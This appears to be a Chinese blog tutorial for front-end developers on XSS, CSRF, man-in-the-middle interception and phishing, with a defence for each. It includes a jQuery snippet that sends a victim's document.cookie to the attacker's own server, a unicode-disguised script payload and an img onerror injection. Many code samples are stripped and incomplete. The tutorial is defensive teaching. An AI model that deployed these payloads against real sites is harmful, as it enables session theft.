摘要：所以今天，就和大家一起聊一聊前端的安全那些事兒。我們就聊一聊前端工程師們需要注意的那些安全知識。殊不知，這不僅僅是違反了的標準而已，也同樣會被黑客所利用。

歡迎大家收看聊一聊系列，這一套系列文章，可以幫助前端工程師們了解前端的方方面面（不僅僅是代碼）：
https://segmentfault.com/blog...

隨著互聯網的發達，各種WEB應用也變得越來越復雜，滿足了用戶的各種需求，但是隨之而來的就是各種網絡安全的問題。作為前端工程師的我們也逃不開這個問題。所以今天，就和大家一起聊一聊WEB前端的安全那些事兒。這里不去說那些后端的攻擊(SQL注入、DDOS攻擊等)，畢竟整個WEB安全是一門很深的學問，不是我一篇文章就能完全說完的。我們就聊一聊前端工程師們需要注意的那些安全知識。

其實真正為了玩的心態去進行黑網站的人，還是少數。多數攻擊還是有利益的成分在里面的。我模糊的記得，以前聽騰訊的工程師說過一句話，大概是這樣的：開發者不可能確保自己的應用絕對無法被攻擊，但是只要攻擊我們的時候，黑客花費的成本遠比他可以獲取的利益大得多，黑客就不會去攻擊。防范強如支付寶、QQ等產品，也都曾被報過漏洞，看來防御不是絕對的，我們只能想辦法讓我們的應用更加安全。

百度百科中如是說道：
XSS是一種經常出現在web應用中的計算機安全漏洞，它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
其實在web前端方面，可以簡單的理解為一種javascript代碼注入。舉個例子，我們有個社交網站，允許大家相互訪問空間，網站可能是這樣做的：

    
        
    
    
        

            用戶名：
        
        

            第一條狀態：侯醫生的狀態1
        
        

            第二條狀態：侯醫生的狀態2
        
        

            第三條狀態：侯醫生的狀態3
        
    

運行時，展現形式如圖1.1.1所示：

圖1.1.1

但是，如果你的用戶名，起名稱的時候，帶上script標簽呢？我們知道，瀏覽器遇到html中的script標簽的時候，會解析并執行標簽中的js腳本代碼，那么如果你的用戶名稱里面含有script標簽的話，就可以執行其中的代碼了。
代碼如下，效果如圖1.1.2

alert("侯醫生");";
?>

圖1.1.2
如果你將自己的用戶名設定為這種執行腳本的方式，再讓別人去訪問你的連接的話，就可以達到在他人web環境中，執行自己腳本的效果了。我們還可以使用ajax，將其他用戶在當前域名下的cookie獲取并發送到自己的服務器上。這樣就可以獲取他人信息了。比如，剛剛咱們使用的不是alert而是，如下的代碼：

$.ajax({
    url: "自己的服務器",
    dataType: "jsonp",
    data: {"盜取的用戶cookie": document.cookie}
});

再在各個QQ群中，散播自己的空間，引誘別人來訪問。就可以拿到用戶在這個域名下的cookie或者其他隱私了。

目前來講，最簡單的辦法防治辦法，還是將前端輸出數據都進行轉義最為穩妥。比如，按照剛剛我們那個例子來說，其本質是，瀏覽器遇到script標簽的話，則會執行其中的腳本。但是如果我們將script標簽的進行轉義，則瀏覽器便不會認為其是一個標簽，但是顯示的時候，還是會按照正常的方式去顯示，代碼如下，效果如圖1.2.1

alert("侯醫生");";
?>


    
        
    
    
        
        

            用戶名：
        
        

            第一條狀態：侯醫生的狀態1
        
        

            第二條狀態：侯醫生的狀態2
        
        

            第三條狀態：侯醫生的狀態3
        
    

圖1.2.1
其實，我們再來看看網頁源碼，如圖1.2.2

圖1.2.2
雖然顯示出來是有script標簽的，但是實際上，script標簽的左右尖括號(><)，均被轉義為html字符實體，所以，便不會被當做標簽來解析的，但是實際顯示的時候，這兩個尖括號，還是可以正常展示的。

1.3.1 append的利用

上一小節我們防住了script標簽的左右尖括號，藍鵝，聰明的黑客們還是想出了好辦法去破解，我們知道，直接給innerHTML賦值一段js，是無法被執行的。比如，

$("div").innerHTML = "";

但是，jquery的append可以做到，究其原因，就是因為jquery會在將append元素變為fragment的時候，找到其中的script標簽，再使用eval執行一遍。jquery的append使用的方式也是innerHTML(如圖1.3.1.1)。而innerHTML是會將unicode碼轉換為字符實體的。

圖1.3.1.1
利用這兩種知識結合，我們可以得出，網站使用append進行dom操作，如果是append我們可以決定的字段，那么我們可以將左右尖括號，使用unicode碼偽裝起來，就像這樣--"u003cscriptu003ealert("okok");"。接下來轉義的時候，偽裝成u003的<會被漏掉，append的時候，則會被重新調用。代碼如下，效果如圖1.3.1.2

    
        
        
    
    
        

            用戶名：
        
        

            第一條狀態：侯醫生的狀態1
        
        

            第二條狀態：侯醫生的狀態2
        
        

            第三條狀態：侯醫生的狀態3
        
        
版權所有：
        
    

圖1.3.1.2
我們可以看到，雖然進行了轉義，注入的代碼還是會再次被執行。

1.3.2 img標簽的再次利用

再來一種攻擊方式，img標簽的小貼士。
這里我們需要重溫一個小知識點-----img標簽，在加載圖片失敗的時候，會調用該元素上的onerror事件。我們正可以利用這種方式來進行攻擊。我們先來看一下，正常的用戶分享圖片的行為怎么做。代碼如下，展示如圖1.3.2.1

alert("侯醫生");";
    $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>


    
        
    
    
        

            用戶名：
        
        

            第一條狀態：侯醫生的狀態1，這個是圖片：
            
        
        

            第二條狀態：侯醫生的狀態2
        
        

            第三條狀態：侯醫生的狀態3
        
    

圖1.3.2.1
但是，如果這張圖片的地址我們換種寫法呢？

我們再來看看拼裝好的html源碼，如圖1.3.2.2：

圖1.3.2.2
這時的源碼已經變為--src為空，但是onerror的時候，執行注入代碼。我們刷新查看頁面，就會發現，代碼注入已經成功，如圖1.3.2.3所示：

圖1.3.2.3
看官你可能會說了，再轉義唄。是的，老套路，我們接著進行轉義---你這個毛病呀，就算治好了(老中醫口吻)。

恩，總算是恢復正常了，如圖1.3.2.4所示。

圖1.3.2.4

1.3.3 組合使用

但是......但是，道高一尺魔高一丈，雖然防住了img標簽直接的輸出，但是我們的攻擊點又來了，我們將1.3.1中所說的方式與1.3.2中所說的方式進行結合，進行一種組合式攻擊，我們之前說過，innerHTML賦值的script標簽，不會被執行，但是innerHTML賦值一個img標簽是可以被識別的。我們把img標簽的左右尖括號，使用unicode進行偽裝，讓轉義方法認不出來，即使innerHTML也可以利用上了，代碼如下，效果如圖1.3.3.1

    
        
    
    
        

            用戶名：
        
        

            第一條狀態：侯醫生的狀態1
        
        

            第二條狀態：侯醫生的狀態2
        
        

            第三條狀態：侯醫生的狀態3
        
        
版權所有：
        
    

圖1.3.3.1
這樣，innerHTML也可以派上用場，再次突破防線。

看來，我們需要再次進行防御升級了，我們將輸出的字符串中的反斜杠進行轉義(json轉義)。這樣，就不會被當做unicode碼的開頭來被處理了。代碼如下：

document.getElementById("username_info").innerHTML = ;

生成處的源碼，如圖1.4.1

圖1.4.1
效果如圖1.4.2所示

圖1.4.2

都說了道高一尺魔高一丈了，你以為防得住后端輸出，黑客大大們就沒辦法攻擊了嗎。我們有的時候，會有一些習慣，拿URL上的get參數去構建網頁。好比說，直接拿url上的用戶名去展示啦，拿url上的一些回跳地址之類的。但是url上的參數，我們是無法提前對其進行轉義的。接下來，來個例子，代碼如下：

    
        
        
    
    
        

            用戶名：
        
        

            第一條狀態：侯醫生的狀態1
        
        

            第二條狀態：侯醫生的狀態2
        
        

            第三條狀態：侯醫生的狀態3
        
        
版權所有：
        
    

上述代碼，滿足了一個很正常的需求，解開URL中的一個參數，并將其渲染至頁面上。但是，這里面存在一個風險，如果黑客在URL的這個參數中，加入js代碼，這樣便又會被執行(如圖1.5.1所示)。

圖1.5.1

像這種從url中獲取的信息，筆者建議，最好由后端獲取，在前端轉義后再行輸出，代碼如下，效果如圖1.6.1

圖1.6.1
使用url中的參數的時候要小心，更不要拿URL中的參數去eval。

如果不幸中招了，黑客的js真的在我們的網頁上執行了，我們該怎么辦。其實，很多時候，我們的敏感信息都是存儲在cookie中的（不要把用戶機密信息放在網頁中），想要阻止黑客通過js訪問到cookie中的用戶敏感信息。那么請使用cookie的HttpOnly屬性，加上了這個屬性的cookie字段，js是無法進行讀寫的。php的設置方法如下：

如圖1.7.1，我們的cookie已經種上了，并且有了httpOnly標識

圖1.7.1
如圖1.7.2，我們通過js無法獲取cookie中的設定有httpOnly的字段：

圖1.7.2
話說回來，其實還有很多xss的升級攻擊方式，同學們有興趣的話，可以自己去研究一下。(不要干壞事兒哦)

CSRF攻擊在百度百科中的解釋是：
CSRF（Cross-site request forgery跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。
其實就是網站中的一些提交行為，被黑客利用，你在訪問黑客的網站的時候，進行的操作，會被操作到其他網站上(如：你所使用的網絡銀行的網站)。

2.2.1 要合理使用post與get

通常我們會為了省事兒，把一些應當提交的數據，做成get請求。殊不知，這不僅僅是違反了http的標準而已，也同樣會被黑客所利用。
比如，你開發的網站中，有一個購買商品的操作。你是這么開發的：

而商品ID圖個省事兒，就使用了url中的get參數。買商品的話，如圖2.2.1.1所示

圖2.2.1.1
那么，黑客的網站可以這樣開發：

這樣的話，用戶只需要訪問一次黑客的網站，其實就相當于在你的網站中，操作了一次。然而用戶卻沒有感知。如圖2.2.1.2所示：

圖2.2.1.2
所以，我們日常的開發，還是要遵循提交業務，嚴格按照post請求去做的。更不要使用jsonp去做提交型的接口，這樣非常的危險。

2.2.2 xsrf攻擊升級

如果你使用了post請求來處理關鍵業務的，還是有辦法可以破解的。我們的業務代碼如下：

黑客代碼如下：

    
        
        
    
    
        點我看相冊
        
        

            
        
        
    

效果如圖2.2.2.1

圖2.2.2.1
點擊后，用戶進行了提交，卻連自己都不知情。這種情況如何防御呢？
最簡單的辦法就是加驗證碼，這樣除了用戶，黑客的網站是獲取不到用戶本次session的驗證碼的。但是這樣也會降低用戶的提交體驗，特別是有些經常性的操作，如果總讓用戶輸入驗證碼，用戶也會非常的煩。
另一種方式，就是在用訪問的頁面中，都種下驗證用的token，用戶所有的提交都必須帶上本次頁面中生成的token，這種方式的本質和使用驗證碼沒什么兩樣，但是這種方式，整個頁面每一次的session，使用同一個token就行，很多post操作，開發者就可以自動帶上當前頁面的token。如果token校驗不通過，則證明此次提交并非從本站發送來，則終止提交過程。如果token確實為本網站生成的話，則可以通過。
代碼如下，防御效果如圖2.2.2.2

圖2.2.2.2
如上圖，并沒有攜帶本站每次session生成的token，則提交失敗。
本站的網站form，則都會自動攜帶本站生成的token

    
        
        
    
    
        

            商品名稱：
            
            
        
        
    

再次使用本站的網頁進行提交，則通過，如圖2.2.2.3所示：

圖2.2.2.3
當然，上面的只是例子，具體的token生成，肯定是要隨著session與用戶ID去變的，如果各位看官覺得自己的網站也需要加個token，請自行百度，進行深入的學習。

很多的時候，我們的網站不是直接就訪問到我們的服務器上的，中間會經過很多層代理，如果在某一個環節，數據被中間代理層的劫持者所截獲，他們就能獲取到使用你網站的用戶的密碼等保密數據。比如，我們的用戶經常會在各種飯館里面，連一些奇奇怪怪的wifi，如果這個wifi是黑客所建立的熱點wifi，那么黑客就可以結果該用戶收發的所有數據。這里，建議站長們網站都使用https進行加密。這樣，就算網站的數據能被拿到，黑客也無法解開。

如果你的網站還沒有進行https加密的化，則在表單提交部分，最好進行非對稱加密--即客戶端加密，只有服務端能解開。這樣中間的劫持者便無法獲取加密內容的真實信息了。

不知道各位看官有沒有注意到天貓官網控制臺的警告信息，如圖4.1所示，這是為什么呢？因為有的黑客會誘騙用戶去往控制臺里面粘貼東西（欺負小白用戶不懂代碼），比如可以在朋友圈貼個什么文章，說:"只要訪問天貓，按下F12并且粘貼以下內容，則可以獲得xx元禮品"之類的，那么有的用戶真的會去操作，并且自己隱私被暴露了也不知道。

圖4.1
天貓這種做法，也是在警告用戶不要這么做，看來天貓的前端安全做的也是很到位的。不過，這種攻擊畢竟是少數，所以各位看官看一眼就行，如果真的發現有的用戶會被這樣攻擊的話，記得想起天貓的這種解決方案。

釣魚也是一種非常古老的攻擊方式了，其實并不太算前端攻擊。可畢竟是頁面級別的攻擊，我們也來一起聊一聊。我相信很多人會有這樣的經歷，QQ群里面有人發什么兼職啦、什么自己要去國外了房子車子甩賣了，詳情在我QQ空間里啦，之類的連接。打開之后發現一個QQ登錄框，其實一看域名就知道不是QQ，不過做得非常像QQ登錄，不明就里的用戶們，就真的把用戶名和密碼輸入了進去，結果沒登錄到QQ，用戶名和密碼卻給人發過去了。
其實這種方式，在前端也有利用。下面，我們就來試試如果利用前端進行一次逼真的釣魚。
1 首先，我們在xx空間里分享一篇文章，然后吸引別人去點擊。效果如圖5.1.1

    
        
    
    
        

        當前你在xx空間
        
        
侯博士的分享
        

        咱們班當年班花，現在長這樣：
        
        點我查看
        
    

圖5.1.1
2 接著，我們在cheat.php這個網站上面，將跳轉過來的源網頁地址悄悄的進行修改。效果如圖5.2.1

    
        
        
    
    
        你想看的信息：
        xxxxxxxxxxxxxx
        xxxxxxxxxxxxxx
        
    

于是，在用戶訪問了我們的欺騙網站后，之前的tab已經悄然發生了變化，我們將其悄悄的替換為了釣魚的網站，欺騙用戶輸入用戶名、密碼等。

圖5.2.1
3 我們的釣魚網站，偽裝成XX空間，讓用戶輸入用戶名與密碼，如圖5.3.1

圖5.3.1
這種釣魚方式比較有意思，重點在于我們比較難防住這種攻擊，我們并不能將所有的頁面鏈接都使用js打開。所以，要么就將外鏈跳轉的連接改為當前頁面跳轉，要么就在頁面unload的時候給用戶加以提示，要么就將頁面所有的跳轉均改為window.open，在打開時，跟大多數釣魚防治殊途同歸的一點是，我們需要網民們的安全意識提高。

開發時要提防用戶產生的內容，要對用戶輸入的信息進行層層檢測

要注意對用戶的輸出內容進行過濾(進行轉義等)

重要的內容記得要加密傳輸(無論是利用https也好，自己加密也好)

get請求與post請求，要嚴格遵守規范，不要混用，不要將一些危險的提交使用jsonp完成。

對于URL上攜帶的信息，要謹慎使用。

心中時刻記著，自己的網站哪里可能有危險。

畢竟web安全是個很大的面，如果需要了解，還是需要進行專門的學習的。希望這篇聊一聊，可以讓各位開發者的網站變得更安全。

各位看官自己的網站中，是不是還留有很多安全漏洞呢？請各位看完本篇文章之后，回想一下，自己的網站是否還有哪些地方存在安全隱患。還有，自己可否為自己團隊里面的同學制定一下開發時的安全規范呢？

接下來的一篇文章，我將會和讀者們一起聊聊web圖片那些事兒，不要走開，請關注我.....

如果喜歡本文請點擊下方的推薦哦，你的推薦會變為我繼續更文的動力。

以上內容僅代表筆者個人觀點，如有意見請通知筆者。